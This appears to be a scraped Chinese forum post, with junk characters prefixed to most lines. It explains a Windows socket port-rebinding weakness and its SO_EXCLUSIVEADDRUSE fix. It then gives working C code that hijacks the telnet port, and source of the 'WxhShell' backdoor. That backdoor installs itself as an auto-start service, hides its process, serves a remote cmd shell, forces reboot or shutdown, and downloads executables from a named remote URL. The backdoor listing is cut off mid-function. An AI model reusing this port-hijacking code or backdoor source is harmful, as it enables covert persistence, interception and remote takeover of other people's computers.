在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
q/4PX s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
X^aujK^@ .Ta$@sP h} saddr.sin_family = AF_INET;
zaoZCyJT% [fO]oTh saddr.sin_addr.s_addr = htonl(INADDR_ANY);
W>B:W 0A =q6yb@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
|W#^L`!G {?5EOp~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
BJW;A>@Pj T \0e8"iZ 这意味着什么?意味着可以进行如下的攻击:
ENqJ9%sk7 f3yZx!K_Br 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
yP-.8[; $]Fe9E? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
jq}5(*k ={z YcVI 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
-sc@SoS hKX-]+6" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
D}3E1`)W }r,k*I'K 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
QV?\?9( hP9+|am% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:UScbPG *a$z!Ma3h 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
V2.MZ9 {0Leua #include
DM>j@(uWF #include
Xq J@NgsY #include
C/]0jAAE7 #include
W}T+8+RU DWORD WINAPI ClientThread(LPVOID lpParam);
wl9E int main()
cT.1oaAM0 {
"J[Cr m WORD wVersionRequested;
Gia_B6*Y[ DWORD ret;
oq0G@ WSADATA wsaData;
ZYL]|/"J9 BOOL val;
_-^KqNyy SOCKADDR_IN saddr;
?]sj!7 SOCKADDR_IN scaddr;
e%UFY-2 int err;
W6wgX0H SOCKET s;
>L=l{F6
p SOCKET sc;
Y|1kE; int caddsize;
MNJ$/l)h HANDLE mt;
L0uN|?} DWORD tid;
>nTGvLOq wVersionRequested = MAKEWORD( 2, 2 );
\idg[&}l} err = WSAStartup( wVersionRequested, &wsaData );
le8n!Dk( if ( err != 0 ) {
\W*ouH printf("error!WSAStartup failed!\n");
(c[|k return -1;
5?2PUE,a }
eqjl$QWPJS saddr.sin_family = AF_INET;
r!#a. L4Kkbt<x //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
seq
S*^7 *K0CUir| saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
[QL)6Xr saddr.sin_port = htons(23);
%} \@Wk~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\UN7lDH {
c()F%e:n printf("error!socket failed!\n");
f+gyJ#R` return -1;
*+Q,b ^N }
~0worI? val = TRUE;
gbKms;: //SO_REUSEADDR选项就是可以实现端口重绑定的
^*Rr x if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'MsxZqW"~ {
4pA(.<#A printf("error!setsockopt failed!\n");
5GpRN return -1;
]A!Gr(FHQ }
w"A'uFXLc //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
5N '
QG<jE //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
<$7*yV //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
9~u1fk{ !@ bN if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
YFsEuaV {
@^%zh ret=GetLastError();
6' ?Y]K printf("error!bind failed!\n");
(5'qEi ea return -1;
#PtV=Ee1 }
,hX03P-X listen(s,2);
J6::(0HM while(1)
7G2TT a {
l} h<2 caddsize = sizeof(scaddr);
YMJjO0 //接受连接请求
i mJ{wF sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
mDj:w#q if(sc!=INVALID_SOCKET)
dr:)+R {
V&NOp mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
|QxDjL<&t4 if(mt==NULL)
[l'~> {
CXJ0N printf("Thread Creat Failed!\n");
})ss. break;
J}<k`af }
.cle^P }
)LH nDx CloseHandle(mt);
3!ulBiMh }
~f){`ZJc closesocket(s);
Ok
O;V6` WSACleanup();
HtS:'~DYo return 0;
1LcQ*d }
ggX'`bK DWORD WINAPI ClientThread(LPVOID lpParam)
9<-AukK m {
tjO||]I SOCKET ss = (SOCKET)lpParam;
kqv>rA3 SOCKET sc;
*crpM3fO> unsigned char buf[4096];
30[?XVI& SOCKADDR_IN saddr;
H
VG'v>s@ long num;
KqaeRs.u DWORD val;
aoMQ_@0 DWORD ret;
b6oPnP_3P //如果是隐藏端口应用的话,可以在此处加一些判断
v,1.n{!; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:E'38~ saddr.sin_family = AF_INET;
1>l{c saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
oREZ^pE@ saddr.sin_port = htons(23);
nG{jx_{` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
J&Le*R' {
Bz!ddAvlK printf("error!socket failed!\n");
'du:Bxl`d4 return -1;
(q3(bH~T) }
f{5)yZ`J* val = 100;
N.BD]_C if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
i>0I '~V {
U3%!#E{ ret = GetLastError();
^vo^W: return -1;
USe"1(|E }
K3'`!K a* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
PX(Gx%s| {
z26zl[. ret = GetLastError();
B 2&fvv? return -1;
\asF~P }
S 8h/AW6l if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Q|+m)A4@ {
lHz:Iibt printf("error!socket connect failed!\n");
}=7tGqfw closesocket(sc);
)"|g&= closesocket(ss);
Bn47O~ return -1;
`%F.]|Y0 }
Qe]@`Vg while(1)
Vx-HW;, {
]?mWnEi!z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
#Rjm3#gc //如果是嗅探内容的话,可以再此处进行内容分析和记录
)N`ia%p_] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
A^%z;( 0p num = recv(ss,buf,4096,0);
;STO!^9~ if(num>0)
|~rDEv3 send(sc,buf,num,0);
3"!2C,3c# else if(num==0)
>0:h(,?V break;
<k/'mBDk num = recv(sc,buf,4096,0);
`;5UlkVZ5 if(num>0)
"t`r_Aw send(ss,buf,num,0);
kzgHp,;R{ else if(num==0)
)v8;\1`s: break;
pg*'2AT }
#j iQa" closesocket(ss);
tkV:kh< L~ closesocket(sc);
k`2 K?9\ return 0 ;
M_$pqVm }
D-A#{e _ Hfm4 +z;xl-*[ ==========================================================
W"VN2 44RZk|U1J{ 下边附上一个代码,,WXhSHELL
:#c? `>uV W{ @lt} ==========================================================
S1E2E3 lb`P9mbr+ #include "stdafx.h"
x-CYG?-x =<O{ #include <stdio.h>
%w6> 3#e #include <string.h>
CG$S? #include <windows.h>
}B^s!y&b #include <winsock2.h>
ZEUd?"gaR #include <winsvc.h>
:a#]"z0 #include <urlmon.h>
Y5cUOfYT 4
lJ@qhV #pragma comment (lib, "Ws2_32.lib")
Nr3td`; #pragma comment (lib, "urlmon.lib")
%v
:a pRUN[[L #define MAX_USER 100 // 最大客户端连接数
c{rX7+bN #define BUF_SOCK 200 // sock buffer
zO9|s}J8q #define KEY_BUFF 255 // 输入 buffer
WO^smCk ./J.OU1 #define REBOOT 0 // 重启
Y\sLwLLlG #define SHUTDOWN 1 // 关机
~}z p}Pt I?s)^' #define DEF_PORT 5000 // 监听端口
k$k(g qV9` #define REG_LEN 16 // 注册表键长度
`S{< $:D #define SVC_LEN 80 // NT服务名长度
burEo.= @Mt6O_V // 从dll定义API
L'"20=sf typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
REnRpp$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
^X"G~#v=q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
dUOjPq97 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
X\X =n9adq
// wxhshell配置信息
5j{o0&=_$ struct WSCFG {
{B?%r[nW int ws_port; // 监听端口
06 K8|K char ws_passstr[REG_LEN]; // 口令
`
n@[=l~ int ws_autoins; // 安装标记, 1=yes 0=no
' OdZ[AN char ws_regname[REG_LEN]; // 注册表键名
mL18FR N char ws_svcname[REG_LEN]; // 服务名
$
7O[|:Yv char ws_svcdisp[SVC_LEN]; // 服务显示名
!*?&V3! char ws_svcdesc[SVC_LEN]; // 服务描述信息
^X[Kr=:Jp char ws_passmsg[SVC_LEN]; // 密码输入提示信息
3=T<c?[ int ws_downexe; // 下载执行标记, 1=yes 0=no
N$p}rh#7{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
i*W8_C:S char ws_filenam[SVC_LEN]; // 下载后保存的文件名
#}:VZ2Z "g>uNtt~ };
~W%A8`9 Wy)|-Q7 // default Wxhshell configuration
J U}XSb struct WSCFG wscfg={DEF_PORT,
W4|1wd}.t "xuhuanlingzhe",
[)Xu60?Q 1,
pWbzBgM?nU "Wxhshell",
iDp]lu "Wxhshell",
{BY`Wu:w "WxhShell Service",
2s?j5 Sd "Wrsky Windows CmdShell Service",
{nm#aA%, "Please Input Your Password: ",
tvf"w`H 1,
"&Q-'L!M'/ "
http://www.wrsky.com/wxhshell.exe",
N!9DZEcm "Wxhshell.exe"
^dYFFKQ };
ZJ=-cE2n QRgWzaI // 消息定义模块
C&zgt
:q6} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
z})H$]: $ char *msg_ws_prompt="\n\r? for help\n\r#>";
6jPaS!E char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
(gl CTF9v char *msg_ws_ext="\n\rExit.";
C.%iQx`
char *msg_ws_end="\n\rQuit.";
j05ahquI char *msg_ws_boot="\n\rReboot...";
vb{&T< char *msg_ws_poff="\n\rShutdown...";
i ,4 char *msg_ws_down="\n\rSave to ";
*=~
9? { tim{nV char *msg_ws_err="\n\rErr!";
hk}M' char *msg_ws_ok="\n\rOK!";
K
,f 1c} ]bhzB char ExeFile[MAX_PATH];
0*B_$E06 int nUser = 0;
I;uZ/cZ|/ HANDLE handles[MAX_USER];
j%]i#iqF int OsIsNt;
s:jr/ j! fnL!@WF SERVICE_STATUS serviceStatus;
|X~T</{8i SERVICE_STATUS_HANDLE hServiceStatusHandle;
}Jjq] lW K )KE0/n // 函数声明
x%vt$dy*8 int Install(void);
@D[;$YEk int Uninstall(void);
3ZC to[Y int DownloadFile(char *sURL, SOCKET wsh);
_GI [SzD int Boot(int flag);
(^eE8j/K void HideProc(void);
vh
KA8vr int GetOsVer(void);
.7+_ubj&, int Wxhshell(SOCKET wsl);
wV W+~DJ void TalkWithClient(void *cs);
(ai E!c int CmdShell(SOCKET sock);
8^c|9ow int StartFromService(void);
\1aj!) int StartWxhshell(LPSTR lpCmdLine);
VskyRxfdW3 pc^(@eD VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Rj^bZ%t VOID WINAPI NTServiceHandler( DWORD fdwControl );
75Jh(hd( rM=Q.By+\ // 数据结构和表定义
|+x;18 SERVICE_TABLE_ENTRY DispatchTable[] =
9i,QCA {
!@ai=p {wscfg.ws_svcname, NTServiceMain},
4LUFG {NULL, NULL}
|+cyb<(V J };
<ynmA QIBv}hgcy // 自我安装
U/D\N0 int Install(void)
A~h.,<+" {
ToDNBt.u{+ char svExeFile[MAX_PATH];
yY`<t HKEY key;
sBZKf8 @/ strcpy(svExeFile,ExeFile);
:*A6Ba Zo-s_6uC // 如果是win9x系统,修改注册表设为自启动
I&Yu=v/_ if(!OsIsNt) {
py
P5^Qv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!_l W#feR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]Ol@^$8} RegCloseKey(key);
O'$0K0k3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
g2 :^Z== RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^[\F uSL RegCloseKey(key);
/_26D0}UuF return 0;
Eq~&d.j }
Y]B2-wt- }
l: 1Zq_?v; }
WASs'Gx else {
M6pGf_qt {hZ_f3o // 如果是NT以上系统,安装为系统服务
S-.!BQ@RMZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
FyZw='D if (schSCManager!=0)
j9x}D;?n {
Maf!,/U4 SC_HANDLE schService = CreateService
pYceMZ$ (
v(h
schSCManager,
E"pq ZP = wscfg.ws_svcname,
_d %H;<_ wscfg.ws_svcdisp,
lwQI
9U[O2 SERVICE_ALL_ACCESS,
5a5I+*
c SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
4SY]Q[ SERVICE_AUTO_START,
#RlI([f|& SERVICE_ERROR_NORMAL,
H.|FEV@ svExeFile,
5s;HF |2x NULL,
^|>vK,q$I NULL,
.OX.z~":y NULL,
B~caHG1b NULL,
|DwI%%0(F NULL
sW3-JA] );
+\\,FO_ if (schService!=0)
S=eY`,'#R {
~Q>97% CloseServiceHandle(schService);
N/qr}-
3z CloseServiceHandle(schSCManager);
vZhN%
DfY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
nFX8:fZ$> strcat(svExeFile,wscfg.ws_svcname);
\iSaxwU_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
]\sBl RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
h&NcN-[" RegCloseKey(key);
wrac\. return 0;
UT==x< }
I/pavh }
9~
K1+%! CloseServiceHandle(schSCManager);
-P(q<T2MV' }
bn~=d@' }
M-T&K%/lW m`I6gnLj return 1;
HGh`O\f8 }
|XLx6E2F _dmgNbs // 自我卸载
.v/s9'lB int Uninstall(void)
$*9h\W-)`Q {
Do=*bZ;A HKEY key;
k
.KN9=o H.'MQ if(!OsIsNt) {
.FXq4who if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%_KNAuM RegDeleteValue(key,wscfg.ws_regname);
;ZFn~!V RegCloseKey(key);
ZV,n-M = if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7K
{/2k RegDeleteValue(key,wscfg.ws_regname);
t
/EB
y"N# RegCloseKey(key);
%kKe"$)0 return 0;
FC.y%P, }
/V$[M }
z,X
^; }
^ :6v-
Yx else {
Yvs9)g {y`afuiB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
a4 O if (schSCManager!=0)
b_W0tiyv% {
C-@@`EP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.NiPaUzc< if (schService!=0)
#J\
2/~ {
++5W_Ooep if(DeleteService(schService)!=0) {
)o
SFHf CloseServiceHandle(schService);
=V/$&96Q CloseServiceHandle(schSCManager);
: \:jIP return 0;
}ytc oIuLf }
m!$"-nh9 CloseServiceHandle(schService);
K0g<11}(Yg }
HulN84 CloseServiceHandle(schSCManager);
Hhx<k{B@7 }
,fT5I6l }
S^c5 RI')iz? return 1;
Q|"{<2"]U0 }
cPPE8}PVH 1Ty{k^% // 从指定url下载文件
N|h`}*:x= int DownloadFile(char *sURL, SOCKET wsh)
y9=/kFPRm {
QG4#E$c HRESULT hr;
_E{SGbCCi char seps[]= "/";
J&@[=zBYw char *token;
ZgcA[P char *file;
"6gu6f char myURL[MAX_PATH];
)z=`,\&p: char myFILE[MAX_PATH];
S=0zP36kH: ]mn(lK strcpy(myURL,sURL);
0"ZB|^c= token=strtok(myURL,seps);
kgEGL]G> while(token!=NULL)
G!ty@
Fx {
s~6?p%
2] file=token;
Hd
U1gV> token=strtok(NULL,seps);
DCACj-f }
`2o/W]SSk c}U&!R2p{ GetCurrentDirectory(MAX_PATH,myFILE);
Y 'Yoc strcat(myFILE, "\\");
Ki,]*-XO strcat(myFILE, file);
Aq^1(-g send(wsh,myFILE,strlen(myFILE),0);
c#<v:b send(wsh,"...",3,0);
([qw#!;w; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
&s_[~g< if(hr==S_OK)
HfFP4#C, return 0;
>Yl?i&3n else
'%. lY9D return 1;
!}9k
@=[ I%h9V([ }
l-Xxur5M' `jSxq66L p // 系统电源模块
`9(TqcE int Boot(int flag)
$-|`#|CBd {
VuN=
JX HANDLE hToken;
yxf|Njo0 TOKEN_PRIVILEGES tkp;
^*C8BzcH exiCy1[+ if(OsIsNt) {
' &^:@V OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
od"Oq?~/t LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/VgA}[%y tkp.PrivilegeCount = 1;
V&-pgxf; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ac6L3=u\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
%?' jyK if(flag==REBOOT) {
;_@u@$=~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
9*h?g+\ return 0;
qSlC@@.> }
[>A%% else {
fLa 7d?4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
P5yS`v$@ return 0;
k#_B^J&d }
f\nF2rlu }
9KN75<n else {
AMp[f%X if(flag==REBOOT) {
v/
dSz/<] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
:rnn`/L return 0;
V*@pmOhz }
EJ`JN|,M else {
YLVIn_\} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
@/@#,+ return 0;
E?l_*[G }
6D_3Hwrs }
c:.k2u 3fgVvt-2 return 1;
h2#G }
\{ r%.G h.gj4/g // win9x进程隐藏模块
`f,SY void HideProc(void)
Ob$|IH8. {
ng(STvSh: (]n^_G#-$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
8_US.52V if ( hKernel != NULL )
dE=4tqv-r {
]R~K-cN` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_w/w~;7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
v}XMFC ! FreeLibrary(hKernel);
nsQx\Tnhx }
~5<-&Dyp7 I,OEor6%R( return;
h[b;_>7 }
O~N0JK_> MKq:=^ w // 获取操作系统版本
4:GVZR|- int GetOsVer(void)
M<hX!B {
qn}4PVn4 OSVERSIONINFO winfo;
g]PmmK_L winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`bw>.Ay GetVersionEx(&winfo);
Squ'd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ZT:&j4A|0 return 1;
FGo{6'K(: else
KP`{ UD) return 0;
AC;ja$A# }
<)ozbv Xk
3=@94i // 客户端句柄模块
5TqB&GP0 int Wxhshell(SOCKET wsl)
u;R< {
0l=g$G
\% SOCKET wsh;
G[z!;Zuf struct sockaddr_in client;
tu8n1W DWORD myID;
I]t ",s/j uH7$/ while(nUser<MAX_USER)
T2|dFKeWG {
6K501!70g6 int nSize=sizeof(client);
;WxE0Q:!~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
x8YuX*/I if(wsh==INVALID_SOCKET) return 1;
'o;>6u<u bBA
#o\[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
eT* )r~ if(handles[nUser]==0)
@}k5rcQ*/ closesocket(wsh);
MA1.I4dm else
]f#1G$ nUser++;
Loo48 }
c `C
/U7j WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
T<1*R>el {,61V;Bpm return 0;
[9dW9[Z+! }
,$BbJQ5 O}5mDx // 关闭 socket
{}!`v%z void CloseIt(SOCKET wsh)
&Jw]3U5J {
VL4ErOoZ closesocket(wsh);
Wm_:1~ nUser--;
!cS
A|C ExitThread(0);
C{AVV< }
Q'xZ\t EF1aw2 // 客户端请求句柄
-wJ/j~+m+ void TalkWithClient(void *cs)
yzJ
VU0s {
\1x<bx/1 M_asf7|v SOCKET wsh=(SOCKET)cs;
kH:! 7L_= char pwd[SVC_LEN];
F}
d>pK9fn char cmd[KEY_BUFF];
VA{2a7] char chr[1];
cYHHCaCS int i,j;
>Wvb!8N 91Bl{ while (nUser < MAX_USER) {
w;f$oT %6c[\ubr if(wscfg.ws_passstr) {
M{\W$xPL) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)1f8
H,q^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
t<~$?tuZ //ZeroMemory(pwd,KEY_BUFF);
>HMuh) i=0;
,FWC|uM" while(i<SVC_LEN) {
AY3nQH
R)4L]ZF // 设置超时
)"SP >2} fd_set FdRead;
_4H
9rPhf struct timeval TimeOut;
Reci:T(_ FD_ZERO(&FdRead);
a?&{eMEe} FD_SET(wsh,&FdRead);
}s i{ TimeOut.tv_sec=8;
&,~0*&r0 TimeOut.tv_usec=0;
<*I%U] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
rm}OVL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Wc]L43u lxsBXX Zg if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
mFoE2?Y pwd
=chr[0]; =^
if(chr[0]==0xd || chr[0]==0xa) { c~j")o
pwd=0; !\D[lh}rL
break; ;oL`fQyr
} 0Bbno9Yp
i++; o\ss
} s'/b&Idf8
#bk[Zj&
// 如果是非法用户,关闭 socket i4"BN,NZ{
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xB.h#x>_`
} u17e
zW[fHa$m
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~%)ug3%e
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MBlhlMyI
ME'hN->c
while(1) { w=]id'`?q
yffg_^fR
ZeroMemory(cmd,KEY_BUFF); @0js=3!2
19V
// 自动支持客户端 telnet标准 H\W/;Nn
j=0; 9UF^h{X
while(j<KEY_BUFF) { wLX:~]<xl
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Yu<fFn
cmd[j]=chr[0]; _G9vsi
if(chr[0]==0xa || chr[0]==0xd) { oUXi4lsSc
cmd[j]=0; NFDh!HUm
break; 1$1s0yg
} $A>\I3B
j++; +OGa}9j-
} vd0;33$L
7;]n+QRfm
// 下载文件 i{1SUx+Re
if(strstr(cmd,"http://")) { sw:o3cC]
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3RSiu}
if(DownloadFile(cmd,wsh)) PWU8 9YXp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ){'Ef_/R
else Na6z1&wS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `R\aNgCS}
} S(bYN[U
else { RZKdh}B?\
2h Wtpus
switch(cmd[0]) { h?cf)L
fU?P__zU4
// 帮助 AC`4n|,zJ;
case '?': { Atdr|2
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $?voQ&
break; ="yN4+0-p
} m*'^*#
// 安装 R<"fcsU
case 'i': { `TugtzRU
if(Install()) +@n8DM{b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P;B<R"
else J`uO~W"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sR(or=ub~
break; 6I5,PB
} H83Gx;
// 卸载 *OoM[wEY
case 'r': { \U(;%V
if(Uninstall()) .Oh4b5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fMGL1VN
else /&PRw<}>_o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EL--?<g
break; ]f%yeD
} M|HW$8V3_2
// 显示 wxhshell 所在路径 (4;m*'X
case 'p': { (Nzup3j
char svExeFile[MAX_PATH]; b#h}g>l
strcpy(svExeFile,"\n\r"); ~Bw)rf,
strcat(svExeFile,ExeFile); Rv-`6eyAA
send(wsh,svExeFile,strlen(svExeFile),0); %Y0,ww2
break; HNFG:t9
} G[;GP0\N
// 重启 olHT* mr
case 'b': { 2hD(zUSy
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c/K:`XP~
if(Boot(REBOOT)) >h!>Ll
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nU^ -D1s{
else { Jf#Ika&px
closesocket(wsh); 7EI5w37
ExitThread(0); %9^^X6yLM
} >
T$M0&<
break; 4Lg!54P8
} eootHK
// 关机 ]$4DhB
case 'd': { QQ*`tmy
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o#p{0y
if(Boot(SHUTDOWN)) TnuNoMD.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !+<OED=qe
else { Z}b25)
closesocket(wsh); G)(vd0X1
ExitThread(0); T+a\dgd
} t> ~a/K"
break; 6\9
Zc-%
} v--Qbu
// 获取shell ,sa%u Fm
case 's': { ]U4)2s
CmdShell(wsh); x6h';W_ 8
closesocket(wsh); }fS`jq;
ExitThread(0); vZ&{
break; ZmXO3,sf)
} *6C ]CS
// 退出 E4CyW
case 'x': { 4lVvs(W?
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \sSt _|+
CloseIt(wsh); -@I+IKz
break; ApT8;F B
} h?8I`Z)h
// 离开 u0o}rA
case 'q': { %z9lCTmy
send(wsh,msg_ws_end,strlen(msg_ws_end),0); $u ae8h
closesocket(wsh); `rWT^E@p5m
WSACleanup(); 5.IX
exit(1); >TKl`O
break; vzXfJP
} tPQjjoh
} I`% ]1{
} XABB6J]
goMv8d
// 提示信息 0=:]tSD\F
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =%i~HDiy
} _l ,_NV&T
} dcn/|"jr
Ifx
EM
return; t.s;dlx[@
}
*v}3So
8@)4)+e
// shell模块句柄 #;+ABV
int CmdShell(SOCKET sock) '5usPD
{ ]Yw/}GKB
STARTUPINFO si; G`D~OI
ZeroMemory(&si,sizeof(si)); [ Q@rW5,-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _aaQ1A`p
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KUE}^/%z
PROCESS_INFORMATION ProcessInfo; G/)]aGr
char cmdline[]="cmd"; lihV! 1
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fPpFAO
return 0; i&di}x
} f"Z2,!Z;
qr<+@Q
// 自身启动模式 ~43T$^<w;
int StartFromService(void) `[(.Q
{ :TZ</3Sw
typedef struct "0V8i%a
{ _rN1(=J
DWORD ExitStatus; <N~&Leh
DWORD PebBaseAddress; -W\1n#J
DWORD AffinityMask; &{R]v/{p]
DWORD BasePriority; SK]"JSY`
ULONG UniqueProcessId; s(?A=JJ
ULONG InheritedFromUniqueProcessId; 4nz$Ja)
